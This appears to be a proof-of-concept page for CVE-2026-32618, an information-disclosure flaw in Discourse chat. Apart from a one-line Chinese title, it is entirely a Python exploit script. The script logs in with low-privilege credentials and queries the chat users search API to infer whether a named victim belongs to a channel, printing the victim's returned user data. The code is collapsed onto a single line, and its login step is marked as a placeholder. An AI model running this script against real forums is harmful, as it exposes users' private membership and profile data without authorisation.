CVE-2026-32618 Discourse聊天频道成员信息泄露漏洞

import requests # Target URL (Example) TARGET_URL = "https://discourse.example.com" SEARCH_API = "/chat/api/users" # Attacker credentials (low privilege) USERNAME = "attacker" PASSWORD = "password" TARGET_USER = "victim_user" def login(): """Simulate login to get session cookie""" session = requests.Session() # Implementation of login request depends on specific Discourse configuration # This is a conceptual placeholder login_data = {"login": USERNAME, "password": PASSWORD} session.post(f"{TARGET_URL}/session", data=login_data) return session def check_membership_inference(session): """Check if we can infer user presence via search""" headers = { "Accept": "application/json", # Add necessary auth headers or cookies } # Search for the target user in the chat context params = { "term": TARGET_USER, "include_channels": "true" } try: response = session.get(f"{TARGET_URL}{SEARCH_API}", headers=headers, params=params) if response.status_code == 200: data = response.json() # Analyze response to see if the user is returned users = data.get("users", []) for user in users: if user.get("username") == TARGET_USER: print(f"[+] Potential membership inferred for user: {TARGET_USER}") print(f"[+] User Data: {user}") return True print(f"[-] User {TARGET_USER} not found or access restricted.") else: print(f"Error: API returned status code {response.status_code}") except Exception as e: print(f"Exception occurred: {e}") if __name__ == "__main__": s = login() check_membership_inference(s)